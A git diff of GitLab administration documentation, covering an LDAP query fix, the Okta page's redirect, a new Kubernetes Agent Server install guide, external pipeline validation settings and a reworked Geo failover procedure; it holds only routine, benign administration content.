You can also retrieve a single object by **specifying** the object name or full **DN**. In this example we specify the object name only `CN=Leroy Fox`.
```shell
-adfind -h ad.example.org:636 -ssl -u "CN=GitLabSRV,CN=Users,DC=GitLab,DC=org" -up Password1 -b "OU=GitLab INT,DC=GitLab,DC=org" -f (&(objectcategory=person)(CN=Leroy Fox))â€
+adfind -h ad.example.org:636 -ssl -u "CN=GitLabSRV,CN=Users,DC=GitLab,DC=org" -up Password1 -b "OU=GitLab INT,DC=GitLab,DC=org" -f "(&(objectcategory=person)(CN=Leroy Fox))"
```
### Rails console
diff --git a/doc/administration/auth/okta.md b/doc/administration/auth/okta.md
index 0f2851890e2..88e9180b103 100644
--- a/doc/administration/auth/okta.md
+++ b/doc/administration/auth/okta.md
@@ -1,176 +1,8 @@
---
-type: reference
-stage: Manage
-group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../../integration/saml.md'
---
-# Okta SSO provider
+This document was moved to [another location](../../integration/saml.md).
-Okta is a [Single Sign-on provider](https://www.okta.com/products/single-sign-on/) that can be used to authenticate
-with GitLab.
-
-The following documentation enables Okta as a SAML provider.
-
-## Configure the Okta application
-
-The following guidance is based on this Okta article, on adding a [SAML Application with an Okta Developer account](https://support.okta.com/help/s/article/Why-can-t-I-add-a-SAML-Application-with-an-Okta-Developer-account?language=en_US):
-
-1. In the Okta admin section, make sure to select Classic UI view in the top left corner. From there, choose to **Add an App**.
-1. When the app screen comes up you see another button to **Create an App** and
- choose SAML 2.0 on the next screen.
-1. Optionally you can add a logo
- (you can choose it from <https://about.gitlab.com/press/>). You'll have to
- crop and resize it.
-1. Next, you'll need the to fill in the SAML general configuration. Here's an example (showing the required URLs and attribute mapping):
- image.
-
- ![Okta admin panel view](img/okta_admin_panel_v13_9.png)
-
-1. The last part of the configuration is the feedback section where you can
- just say you're a customer and creating an app for internal use.
-1. When you have your app you'll have a few tabs on the top of the app's
- profile. Click on the SAML 2.0 configuration instructions button which should
- look like the following:
-
- ![Okta SAML settings](img/okta_saml_settings.png)
-
-1. On the screen that comes up take note of the
- **Identity Provider Single Sign-On URL** which you'll use for the
- `idp_sso_target_url` on your GitLab configuration file.
-
-1. **Before you leave Okta make sure you add your user and groups if any.**
-
----
-
-Now that the Okta app is configured, it's time to enable it in GitLab.
-
-## Configure GitLab
-
-1. See [Initial OmniAuth Configuration](../../integration/omniauth.md#initial-omniauth-configuration)
- for initial settings.
-
-1. To allow your users to use Okta to sign up without having to manually create
- an account first, don't forget to add the following values to your
- configuration:
-
- **For Omnibus GitLab installations**
-
- Edit `/etc/gitlab/gitlab.rb`:
-
- ```ruby
- gitlab_rails['omniauth_allow_single_sign_on'] = ['saml']
- gitlab_rails['omniauth_block_auto_created_users'] = false
- ```
-
- ---
-
- **For installations from source**
-
- Edit `config/gitlab.yml`:
-
- ```yaml
- allow_single_sign_on: ["saml"]
- block_auto_created_users: false
- ```
-
-1. You can also automatically link Okta users with existing GitLab users if
- their email addresses match by adding the following setting:
-
- **For Omnibus GitLab installations**
-
- Edit `/etc/gitlab/gitlab.rb`:
-
- ```ruby
- gitlab_rails['omniauth_auto_link_saml_user'] = true
- ```
-
- ---
-
- **For installations from source**
-
- Edit `config/gitlab.yml`:
-
- ```yaml
- auto_link_saml_user: true
- ```
-
-1. Add the provider configuration.
-
- >**Notes:**
- >
- >- Change the value for `assertion_consumer_service_url` to match the HTTPS endpoint
- > of GitLab (append `users/auth/saml/callback` to the HTTPS URL of your GitLab
- > installation to generate the correct value).
- >
- >- To get the `idp_cert_fingerprint` fingerprint, first download the
- > certificate from the Okta app you registered and then run:
- > `openssl x509 -in okta.cert -noout -fingerprint`. Substitute `okta.cert`
- > with the location of your certificate.
- >
- >- Change the value of `idp_sso_target_url`, with the value of the
- > **Identity Provider Single Sign-On URL** from the step when you
- > configured the Okta app.
- >
- >- Change the value of `issuer` to the value of the **Audience Restriction** from your Okta app configuration. This will identify GitLab
- > to the IdP.
- >
- >- Leave `name_identifier_format` as-is.
-
- **For Omnibus GitLab installations**
-
- ```ruby
- gitlab_rails['omniauth_providers'] = [
- {
- name: 'saml',
- args: {
- assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback',
- idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8',
- idp_sso_target_url: 'https://gitlab.oktapreview.com/app/gitlabdev773716_gitlabsaml_1/exk8odl81tBrjpD4B0h7/sso/saml',
- issuer: 'https://gitlab.example.com',
- name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:transient'
- },
- label: 'Okta' # optional label for SAML login button, defaults to "Saml"
- }
- ]
- ```
-
- **For installations from source**
-
- ```yaml
- - {
- name: 'saml',
- args: {
- assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback',
- idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8',
- idp_sso_target_url: 'https://gitlab.oktapreview.com/app/gitlabdev773716_gitlabsaml_1/exk8odl81tBrjpD4B0h7/sso/saml',
- issuer: 'https://gitlab.example.com',
- name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:transient'
- },
- label: 'Okta' # optional label for SAML login button, defaults to "Saml"
- }
- ```
-
-1. [Reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart](../restart_gitlab.md#installations-from-source) GitLab for Omnibus and installations
- from source respectively for the changes to take effect.
-
-You might want to try this out on an incognito browser window.
-
-## Configuring groups
-
-NOTE:
-Make sure the groups exist and are assigned to the Okta app.
-
-You can take a look of the [SAML documentation](../../integration/saml.md#saml-groups) on configuring groups.
-
-<!-- ## Troubleshooting
-
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support, and to avoid doc comments with
-questions that you know someone might ask.
-
-Each scenario can be a third-level heading, e.g. `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
+<!-- This redirect file can be deleted after 2021-06-15>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/auth/smartcard.md b/doc/administration/auth/smartcard.md
index 39c47c6c495..4fe69d0160e 100644
--- a/doc/administration/auth/smartcard.md
+++ b/doc/administration/auth/smartcard.md
@@ -123,8 +123,8 @@ attribute. As a prerequisite, you must use an LDAP server that:
NOTE: **Note**
Assign a value to at least one of the following variables:
- gitlab_rails['smartcard_client_certificate_required_host'] or
- gitlab_rails['smartcard_client_certificate_required_port'].
+ `gitlab_rails['smartcard_client_certificate_required_host']` or
+ `gitlab_rails['smartcard_client_certificate_required_port']`.
1. Save the file and [reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure)
GitLab for the changes to take effect.
diff --git a/doc/administration/clusters/kas.md b/doc/administration/clusters/kas.md
new file mode 100644
index 00000000000..1b9638411de
--- /dev/null
+++ b/doc/administration/clusters/kas.md
@@ -0,0 +1,131 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Install the Kubernetes Agent Server (KAS) **(PREMIUM SELF)**
+
+The Kubernetes Agent Server (KAS) is a GitLab backend service dedicated to
+managing [Kubernetes Agents](../../user/clusters/agent/index.md).
+
+The KAS is already installed and available in GitLab.com under `wss://kas.gitlab.com`.
+See [how to use GitLab.com's KAS](../../user/clusters/agent/index.md#set-up-the-kubernetes-agent-server).
+This document describes how to install a KAS for GitLab self-managed instances.
+
+## Installation options
+
+As a GitLab administrator of self-managed instances, you can install KAS according to your GitLab
+installation method:
+
+- For [Omnibus installations](#install-kas-with-omnibus).
+- For [GitLab Helm Chart installations](#install-kas-with-the-gitlab-helm-chart).
+
+You can also opt to use an [external KAS](#use-an-external-kas-installation).
+
+### Install KAS with Omnibus
+
+For [Omnibus](https://docs.gitlab.com/omnibus/) package installations:
+
+1. Edit `/etc/gitlab/gitlab.rb` to enable the Kubernetes Agent Server:
+
+ ```ruby
+ gitlab_kas['enable'] = true
+ ```
+
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+
+To configure any additional options related to your KAS,
+refer to the **Enable GitLab KAS** section of the
+[`gitlab.rb.template`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/blob/master/files/gitlab-config-template/gitlab.rb.template).
+
+### Install KAS with the GitLab Helm Chart
+
+For GitLab [Helm Chart](https://docs.gitlab.com/charts/)
+installations, you must set `global.kas.enabled` to `true`.
+For example, in a shell with `helm` and `kubectl`
+installed, run:
+
+```shell
+helm repo add gitlab https://charts.gitlab.io/
+helm repo update
+helm upgrade --install gitlab gitlab/gitlab \
+ --timeout 600s \
+ --set global.hosts.domain=<YOUR_DOMAIN> \
+ --set global.hosts.externalIP=<YOUR_IP> \
+ --set certmanager-issuer.email=<YOUR_EMAIL> \
+ --set global.kas.enabled=true # <-- without this, KAS will not be installed
+```
+
+To configure KAS, use a `gitlab.kas` sub-section in your `values.yaml` file:
+
+```yaml
+gitlab:
+ kas:
+ # put your KAS custom options here
+```
+
+For details, see [how to use the GitLab-KAS chart](https://docs.gitlab.com/charts/charts/gitlab/kas/).
+
+### Use an external KAS installation
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299850) in GitLab 13.10.
+
+Besides installing KAS with GitLab, you can opt to configure GitLab to use an external KAS.
+
+For GitLab instances installed through the GitLab Helm Chart, see [how to configure your external KAS](https://docs.gitlab.com/charts/charts/globals.html#external-kas).
+
+For GitLab instances installed through Omnibus packages:
+
+1. Edit `/etc/gitlab/gitlab.rb` adding the paths to your external KAS:
+
+ ```ruby
+ gitlab_kas['enable'] = false
+ gitlab_kas['api_secret_key'] = 'Your shared secret between GitLab and KAS'
+
+ gitlab_rails['gitlab_kas_enabled'] = true
+ gitlab_rails['gitlab_kas_external_url'] = 'wss://kas.gitlab.example.com' # User-facing URL for the in-cluster agentk
+ gitlab_rails['gitlab_kas_internal_url'] = 'grpc://kas.internal.gitlab.example.com' # Internal URL for the GitLab backend
+ ```
+
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+
+## Troubleshooting
+
+If you face any issues with KAS, you can read the service logs
+with the following command:
+
+```shell
+kubectl logs -f -l=app=kas -n <YOUR-GITLAB-NAMESPACE>
+```
+
+In Omnibus GitLab, find the logs in `/var/log/gitlab/gitlab-kas/`.
+
+See also the [user documentation](../../user/clusters/agent/index.md#troubleshooting)
+for troubleshooting problems with individual agents.
+
+### KAS logs - GitOps: failed to get project info
+
+If you get the following error message:
+
+```json
+{"level":"warn","time":"2020-10-30T08:37:26.123Z","msg":"GitOps: failed to get project info","agent_id":4,"project_id":"root/kas-manifest001","error":"error kind: 0; status: 404"}
+```
+
+It means that the specified manifest project `root/kas-manifest001`
+doesn't exist or the manifest project is private. To fix it, make sure the project path is correct
+and its visibility is [set to public](../../public_access/public_access.md).
+
+### KAS logs - Configuration file not found
+
+If you get the following error message:
+
+```plaintext
+time="2020-10-29T04:44:14Z" level=warning msg="Config: failed to fetch" agent_id=2 error="configuration file not found: \".gitlab/agents/test-agent/config.yaml\
+```
+
+It means that the path to the configuration project is incorrect,
+or the path to `config.yaml` inside the project is not valid.
+
+To fix this, ensure that the paths to the configuration repo and to the `config.yaml` file
+are correct.
diff --git a/doc/administration/environment_variables.md b/doc/administration/environment_variables.md
index f886e19b13d..a168584e754 100644
--- a/doc/administration/environment_variables.md
+++ b/doc/administration/environment_variables.md
@@ -21,6 +21,9 @@ You can use the following environment variables to override certain values:
|--------------------------------------------|---------|---------------------------------------------------------------------------------------------------------|
| `DATABASE_URL` | string | The database URL; is of the form: `postgresql://localhost/blog_development`. |
| `ENABLE_BOOTSNAP` | string | Enables Bootsnap for speeding up initial Rails boot (`1` to enable). |
+| `EXTERNAL_VALIDATION_SERVICE_TIMEOUT` | integer | Timeout, in seconds, for an [external CI/CD pipeline validation service](external_pipeline_validation.md). Default is `5`. |
+| `EXTERNAL_VALIDATION_SERVICE_URL` | string | URL to an [external CI/CD pipeline validation service](external_pipeline_validation.md). |
+| `EXTERNAL_VALIDATION_SERVICE_TOKEN` | string | The `X-Gitlab-Token` for authentication with an [external CI/CD pipeline validation service](external_pipeline_validation.md). |
| `GITLAB_CDN_HOST` | string | Sets the base URL for a CDN to serve static assets (for example, `//mycdnsubdomain.fictional-cdn.com`). |
| `GITLAB_EMAIL_DISPLAY_NAME` | string | The name used in the **From** field in emails sent by GitLab. |
| `GITLAB_EMAIL_FROM` | string | The email address used in the **From** field in emails sent by GitLab. |
@@ -29,8 +32,8 @@ You can use the following environment variables to override certain values:
| `GITLAB_HOST` | string | The full URL of the GitLab server (including `http://` or `https://`). |
| `GITLAB_ROOT_PASSWORD` | string | Sets the password for the `root` user on installation. |
| `GITLAB_SHARED_RUNNERS_REGISTRATION_TOKEN` | string | Sets the initial registration token used for runners. |
-| `GITLAB_UNICORN_MEMORY_MAX` | integer | The maximum memory threshold (in bytes) for the [unicorn-worker-killer](operations/unicorn.md#unicorn-worker-killer). |
-| `GITLAB_UNICORN_MEMORY_MIN` | integer | The minimum memory threshold (in bytes) for the [unicorn-worker-killer](operations/unicorn.md#unicorn-worker-killer). |
+| `GITLAB_UNICORN_MEMORY_MAX` | integer | The maximum memory threshold (in bytes) for the [unicorn-worker-killer](operations/unicorn.md#unicorn-worker-killer). |
+| `GITLAB_UNICORN_MEMORY_MIN` | integer | The minimum memory threshold (in bytes) for the [unicorn-worker-killer](operations/unicorn.md#unicorn-worker-killer). |
| `RAILS_ENV` | string | The Rails environment; can be one of `production`, `development`, `staging`, or `test`. |
| `UNSTRUCTURED_RAILS_LOG` | string | Enables the unstructured log in addition to JSON logs (defaults to `true`). |
diff --git a/doc/administration/external_pipeline_validation.md b/doc/administration/external_pipeline_validation.md
index 64426a60ab0..f8329b24d6c 100644
--- a/doc/administration/external_pipeline_validation.md
+++ b/doc/administration/external_pipeline_validation.md
@@ -7,7 +7,7 @@ type: reference, howto
# External Pipeline Validation
-You can use an external service for validating a pipeline before it's created.
+You can use an external service to validate a pipeline before it's created.
WARNING:
This is an experimental feature and subject to change without notice.
@@ -19,15 +19,21 @@ data as payload. GitLab then invalidates the pipeline based on the response
code. If there's an error or the request times out, the pipeline is not
invalidated.
-Response Code Legend:
+Response codes:
-- `200` - Accepted
-- `4xx` - Not Accepted
-- Other Codes - Accepted and Logged
+- `200`: Accepted
+- `4XX`: Not accepted
+- All other codes: accepted and logged
## Configuration
-Set the `EXTERNAL_VALIDATION_SERVICE_URL` to the external service URL.
+To configure external pipeline validation, add the
+[`EXTERNAL_VALIDATION_SERVICE_URL` environment variable](environment_variables.md)
+and set it to the external service URL.
+
+By default, requests to the external service time out after five seconds. To override
+the default, set the `EXTERNAL_VALIDATION_SERVICE_TIMEOUT` environment variable to the
+required number of seconds.
## Payload Schema
@@ -38,18 +44,21 @@ Set the `EXTERNAL_VALIDATION_SERVICE_URL` to the external service URL.
"project",
"user",
"pipeline",
- "builds"
+ "builds",
+ "namespace"
],
"properties" : {
"project": {
"type": "object",
"required": [
"id",
- "path"
+ "path",
+ "created_at"
],
"properties": {
"id": { "type": "integer" },
- "path": { "type": "string" }
+ "path": { "type": "string" },
+ "created_at": { "type": ["string", "null"], "format": "date-time" }
}
},
"user": {
@@ -57,12 +66,14 @@ Set the `EXTERNAL_VALIDATION_SERVICE_URL` to the external service URL.
"required": [
"id",
"username",
- "email"
+ "email",
+ "created_at"
],
"properties": {
"id": { "type": "integer" },
"username": { "type": "string" },
- "email": { "type": "string" }
+ "email": { "type": "string" },
+ "created_at": { "type": ["string", "null"], "format": "date-time" }
}
},
"pipeline": {
@@ -103,8 +114,21 @@ Set the `EXTERNAL_VALIDATION_SERVICE_URL` to the external service URL.
}
}
}
+ },
+ "namespace": {
+ "type": "object",
+ "required": [
+ "plan",
+ "trial"
+ ],
+ "properties": {
+ "plan": { "type": "string" },
+ "trial": { "type": "boolean" }
+ }
}
- },
- "additionalProperties": false
+ }
}
```
+
+The `namespace` field is only available in [GitLab Premium](https://about.gitlab.com/pricing/)
+and higher.
diff --git a/doc/administration/feature_flags.md b/doc/administration/feature_flags.md
index 6882797064b..9ba50cfbf2e 100644
--- a/doc/administration/feature_flags.md
+++ b/doc/administration/feature_flags.md
@@ -13,7 +13,7 @@ to deploy features in an early stage of development so that they can be
incrementally rolled out.
Before making them permanently available, features can be deployed behind
-flags for a [number of reasons](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle#when-to-use-feature-flags), such as:
+flags for a [number of reasons](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#when-to-use-feature-flags), such as:
- To test the feature.
- To get feedback from users and customers while in an early stage of the development of the feature.
diff --git a/doc/administration/geo/disaster_recovery/index.md b/doc/administration/geo/disaster_recovery/index.md
index 43e5dc1d224..d1ea2978202 100644
--- a/doc/administration/geo/disaster_recovery/index.md
+++ b/doc/administration/geo/disaster_recovery/index.md
@@ -38,7 +38,7 @@ order to avoid unnecessary data loss.
WARNING:
If the **primary** node goes offline, there may be data saved on the **primary** node
-that has not been replicated to the **secondary** node. This data should be treated
+that have not been replicated to the **secondary** node. This data should be treated
as lost if you proceed.
If an outage on the **primary** node happens, you should do everything possible to
@@ -46,62 +46,53 @@ avoid a split-brain situation where writes can occur in two different GitLab
instances, complicating recovery efforts. So to prepare for the failover, we
must disable the **primary** node.
-1. SSH into the **primary** node to stop and disable GitLab, if possible:
+- If you have SSH access:
- ```shell
- sudo gitlab-ctl stop
- ```
-
- Prevent GitLab from starting up again if the server unexpectedly reboots:
+ 1. SSH into the **primary** node to stop and disable GitLab:
- ```shell
- sudo systemctl disable gitlab-runsvdir
- ```
-
- NOTE:
- (**CentOS only**) In CentOS 6 or older, there is no easy way to prevent GitLab from being
- started if the machine reboots isn't available (see [Omnibus GitLab issue #3058](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3058)).
- It may be safest to uninstall the GitLab package completely:
-
- ```shell
- yum remove gitlab-ee
- ```
+ ```shell
+ sudo gitlab-ctl stop
+ ```
- NOTE:
- (**Ubuntu 14.04 LTS**) If you are using an older version of Ubuntu
- or any other distribution based on the Upstart init system, you can prevent GitLab
- from starting if the machine reboots by doing the following:
+ 1. Prevent GitLab from starting up again if the server unexpectedly reboots:
- ```shell
- initctl stop gitlab-runsvvdir
- echo 'manual' > /etc/init/gitlab-runsvdir.override
- initctl reload-configuration
- ```
+ ```shell
+ sudo systemctl disable gitlab-runsvdir
+ ```
-1. If you do not have SSH access to the **primary** node, take the machine offline and
- prevent it from rebooting by any means at your disposal.
- Since there are many ways you may prefer to accomplish this, we will avoid a
- single recommendation. You may need to:
+- If you do not have SSH access to the **primary** node, take the machine offline and
+ prevent it from rebooting by any means at your disposal.
+ Since there are many ways you may prefer to accomplish this, we will avoid a
+ single recommendation. You may need to:
- - Reconfigure the load balancers.
- - Change DNS records (for example, point the primary DNS record to the
- **secondary** node to stop usage of the **primary** node).
- - Stop the virtual servers.
- - Block traffic through a firewall.
- - Revoke object storage permissions from the **primary** node.
- - Physically disconnect a machine.
+ - Reconfigure the load balancers.
+ - Change DNS records (for example, point the primary DNS record to the
+ **secondary** node to stop usage of the **primary** node).
+ - Stop the virtual servers.
+ - Block traffic through a firewall.
+ - Revoke object storage permissions from the **primary** node.
+ - Physically disconnect a machine.
-1. If you plan to [update the primary domain DNS record](#step-4-optional-updating-the-primary-domain-dns-record),
- you may wish to lower the TTL now to speed up propagation.
+ If you plan to [update the primary domain DNS record](#step-4-optional-updating-the-primary-domain-dns-record),
+ you may wish to lower the TTL now to speed up propagation.
### Step 3. Promoting a **secondary** node
+WARNING:
+In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the
+secondary is paused fails. Do not pause replication before promoting a
+secondary. If the node is paused, be sure to resume before promoting.
+This issue has been fixed in GitLab 13.4 and later.
+
Note the following when promoting a secondary:
- If replication was paused on the secondary node (for example as a part of
upgrading, while you were running a version of GitLab earlier than 13.4), you
_must_ [enable the node by using the database](../replication/troubleshooting.md#message-activerecordrecordinvalid-validation-failed-enabled-geo-primary-node-cannot-be-disabled)
- before proceeding.
+ before proceeding. If the secondary node
+ [has been paused](../../geo/index.md#pausing-and-resuming-replication), the promotion
+ performs a point-in-time recovery to the last known state.
+ Data that was created on the primary while the secondary was paused will be lost.
- A new **secondary** should not be added at this time. If you want to add a new
**secondary**, do this after you have completed the entire process of promoting
the **secondary** to the **primary**.
@@ -117,62 +108,48 @@ Note the following when promoting a secondary:
sudo -i
```
-1. Edit `/etc/gitlab/gitlab.rb` to reflect its new status as **primary** by
- removing any lines that enabled the `geo_secondary_role`:
-
- Users of GitLab 13.5 or later can skip this step, due to the appropriate
- roles being enabled or disabled during the promotion in the following
- step.
+1. If you're using GitLab 13.5 and later, skip this step. If not, edit
+ `/etc/gitlab/gitlab.rb` and remove any of the following lines that
+ might be present:
```ruby
- ## In pre-11.5 documentation, the role was enabled as follows. Remove this line.
geo_secondary_role['enable'] = true
-
- ## In 11.5+ documentation, the role was enabled as follows. Remove this line.
roles ['geo_secondary_role']
```
-1. Promote the **secondary** node to the **primary** node.
-
- WARNING:
- In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the
- secondary is paused fails. Do not pause replication before promoting a
- secondary. If the node is paused, be sure to resume before promoting. This
- issue has been fixed in GitLab 13.4 and later.
-
- WARNING:
- If the secondary node [has been paused](../../geo/index.md#pausing-and-resuming-replication), this performs
- a point-in-time recovery to the last known state.
- Data that was created on the primary while the secondary was paused will be lost.
+1. Promote the **secondary** node to the **primary** node:
- NOTE:
- In GitLab 13.7 and earlier, if you have a data type with zero items to sync,
- this command reports `ERROR - Replication is not up-to-date` even if
- replication is actually up-to-date. If replication and verification output
- shows that it is complete, you can add `--skip-preflight-checks` to make the
- command complete promotion. This bug was fixed in GitLab 13.8 and later.
+ - To promote the secondary node to primary along with [preflight checks](planned_failover.md#preflight-checks):
- To promote the secondary node to primary along with preflight checks:
+ ```shell
+ gitlab-ctl promote-to-primary-node
+ ```
- ```shell
- gitlab-ctl promote-to-primary-node
- ```
+ - If you have already run the preflight checks separately or don't want to run them,
+ you can skip them with:
- If you have already run the [preflight checks](planned_failover.md#preflight-checks) separately or don't want to run them, you can skip preflight checks with:
+ ```shell
+ gitlab-ctl promote-to-primary-node --skip-preflight-checks
+ ```
- ```shell
- gitlab-ctl promote-to-primary-node --skip-preflight-checks
- ```
+ NOTE:
+ In GitLab 13.7 and earlier, if you have a data type with zero items to sync
+ and don't skip the preflight checks, promoting the secondary reports
+ `ERROR - Replication is not up-to-date` even if replication is actually
+ up-to-date. If replication and verification output
+ shows that it is complete, you can skip the preflight checks to make the
+ command complete promotion. This bug was fixed in GitLab 13.8 and later.
- You can also promote the secondary node to primary **without any further confirmation**, even when preflight checks fail:
+ - To promote the secondary node to primary **without any further confirmation**,
+ even when preflight checks fail:
- ```shell
- gitlab-ctl promote-to-primary-node --force
- ```
+ ```shell
+ gitlab-ctl promote-to-primary-node --force
+ ```
-1. Verify you can connect to the newly promoted **primary** node using the URL used
+1. Verify you can connect to the newly-promoted **primary** node using the URL used
previously for the **secondary** node.
-1. If successful, the **secondary** node has now been promoted to the **primary** node.
+1. If successful, the **secondary** node is now promoted to the **primary** node.
#### Promoting a **secondary** node with multiple servers
@@ -181,17 +158,6 @@ conjunction with multiple servers, as it can only
perform changes on a **secondary** with only a single machine. Instead, you must
do this manually.
-WARNING:
-In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the
-secondary is paused fails. Do not pause replication before promoting a
-secondary. If the node is paused, be sure to resume before promoting. This
-issue has been fixed in GitLab 13.4 and later.
-
-WARNING:
-If the secondary node [has been paused](../../geo/index.md#pausing-and-resuming-replication), this performs
-a point-in-time recovery to the last known state.
-Data that was created on the primary while the secondary was paused will be lost.
-
1. SSH in to the database node in the **secondary** and trigger PostgreSQL to
promote to read-write:
@@ -201,20 +167,17 @@ Data that was created on the primary while the secondary was paused will be lost
In GitLab 12.8 and earlier, see [Message: `sudo: gitlab-pg-ctl: command not found`](../replication/troubleshooting.md#message-sudo-gitlab-pg-ctl-command-not-found).
-1. Edit `/etc/gitlab/gitlab.rb` on every machine in the **secondary** to
- reflect its new status as **primary** by removing any lines that enabled the
- `geo_secondary_role`:
+1. Edit `/etc/gitlab/gitlab.rb` on every node in the **secondary** site to
+ reflect its new status as **primary** by removing any of the following
+ lines that might be present:
```ruby
- ## In pre-11.5 documentation, the role was enabled as follows. Remove this line.
geo_secondary_role['enable'] = true
-
- ## In 11.5+ documentation, the role was enabled as follows. Remove this line.
roles ['geo_secondary_role']
```
- After making these changes [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) each
- machine so the changes take effect.
+ After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure)
+ on each machine so the changes take effect.
1. Promote the **secondary** to **primary**. SSH into a single application
server and execute:
@@ -223,9 +186,9 @@ Data that was created on the primary while the secondary was paused will be lost
sudo gitlab-rake geo:set_secondary_as_primary
```
-1. Verify you can connect to the newly promoted **primary** using the URL used
+1. Verify you can connect to the newly-promoted **primary** using the URL used
previously for the **secondary**.
-1. Success! The **secondary** has now been promoted to **primary**.
+1. If successful, the **secondary** node is now promoted to the **primary** node.
#### Promoting a **secondary** node with a Patroni standby cluster
@@ -234,17 +197,6 @@ conjunction with a Patroni standby cluster, as it can only
perform changes on a **secondary** with only a single machine. Instead, you must
do this manually.
-WARNING:
-In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the
-secondary is paused fails. Do not pause replication before promoting a
-secondary. If the node is paused, be sure to resume before promoting. This
-issue has been fixed in GitLab 13.4 and later.
-
-WARNING:
-If the secondary node [has been paused](../../geo/index.md#pausing-and-resuming-replication), this performs
-a point-in-time recovery to the last known state.
-Data that was created on the primary while the secondary was paused will be lost.
-
1. SSH in to the Standby Leader database node in the **secondary** and trigger PostgreSQL to
promote to read-write:
@@ -252,13 +204,10 @@ Data that was created on the primary while the secondary was paused will be lost
sudo gitlab-ctl promote-db
```
-1. Edit `/etc/gitlab/gitlab.rb` on every application and Sidekiq nodes in the secondary to reflect its new status as primary by removing any lines that enabled the `geo_secondary_role`:
+1. Edit `/etc/gitlab/gitlab.rb` on every application and Sidekiq nodes in the secondary to reflect its new status as primary by removing any of the following lines that might be present:
```ruby
- ## In pre-11.5 documentation, the role was enabled as follows. Remove this line.
geo_secondary_role['enable'] = true
-
- ## In 11.5+ documentation, the role was enabled as follows. Remove this line.
roles ['geo_secondary_role']
```
@@ -280,9 +229,9 @@ Data that was created on the primary while the secondary was paused will be lost
sudo gitlab-rake geo:set_secondary_as_primary
```
-1. Verify you can connect to the newly promoted **primary** using the URL used previously for the **secondary**.
-
-1. Success! The **secondary** has now been promoted to **primary**.
+1. Verify you can connect to the newly-promoted **primary** using the URL used
+ previously for the **secondary**.
+1. If successful, the **secondary** node is now promoted to the **primary** node.
#### Promoting a **secondary** node with an external PostgreSQL database
@@ -292,12 +241,12 @@ node with GitLab and the database on the same machine. As a result, a manual pro
required:
1. Promote the replica database associated with the **secondary** site. This will
- set the database to read-write:
- - Amazon RDS - [Promoting a Read Replica to Be a Standalone DB Instance](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ReadRepl.html#USER_ReadRepl.Promote)
- - Azure Database for PostgreSQL - [Stop replication](https://docs.microsoft.com/en-us/azure/postgresql/howto-read-replicas-portal#stop-replication)
- - Other external PostgreSQL databases - save the script below in you secondary node, for example
- `/tmp/geo_promote.sh`, and modify the connection parameters to match your
- environment. Then, execute it to promote the replica:
+ set the database to read-write. The instructions vary depending on where your database is hosted:
+ - [Amazon RDS](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ReadRepl.html#USER_ReadRepl.Promote)
+ - [Azure PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/howto-read-replicas-portal#stop-replication)
+ - For other external PostgreSQL databases, save the following script in you
+ secondary node, for example `/tmp/geo_promote.sh`, and modify the connection
+ parameters to match your environment. Then, execute it to promote the replica:
```shell
#!/bin/bash
@@ -318,14 +267,11 @@ required:
```
1. Edit `/etc/gitlab/gitlab.rb` on every node in the **secondary** site to
- reflect its new status as **primary** by removing any lines that enabled the
- `geo_secondary_role`:
+ reflect its new status as **primary** by removing any of the following
+ lines that might be present:
```ruby
- ## In GitLab 11.4 and earlier, remove this line.
geo_secondary_role['enable'] = true
-
- ## In GitLab 11.5 and later, remove this line.
roles ['geo_secondary_role']
```
@@ -339,10 +285,9 @@ required:
sudo gitlab-rake geo:set_secondary_as_primary
```
-1. Verify you can connect to the newly promoted **primary** site using the URL used
- previously for the **secondary** site.
-
-1. Success! The **secondary** site has now been promoted to **primary**.
+1. Verify you can connect to the newly-promoted **primary** using the URL used
+ previously for the **secondary**.
+1. If successful, the **secondary** node is now promoted to the **primary** node.
### Step 4. (Optional) Updating the primary domain DNS record
@@ -443,7 +388,7 @@ and after that you also need two extra steps.
sudo -i
```
-1. Edit `/etc/gitlab/gitlab.rb`
+1. Edit `/etc/gitlab/gitlab.rb`:
```ruby
## Enable a Geo Primary role (if you haven't yet)
@@ -468,7 +413,7 @@ and after that you also need two extra steps.
(For more details about these settings you can read [Configure the primary server](../setup/database.md#step-1-configure-the-primary-server))
1. Save the file and reconfigure GitLab for the database listen changes and
- the replication slot changes to be applied.
+ the replication slot changes to be applied:
```shell
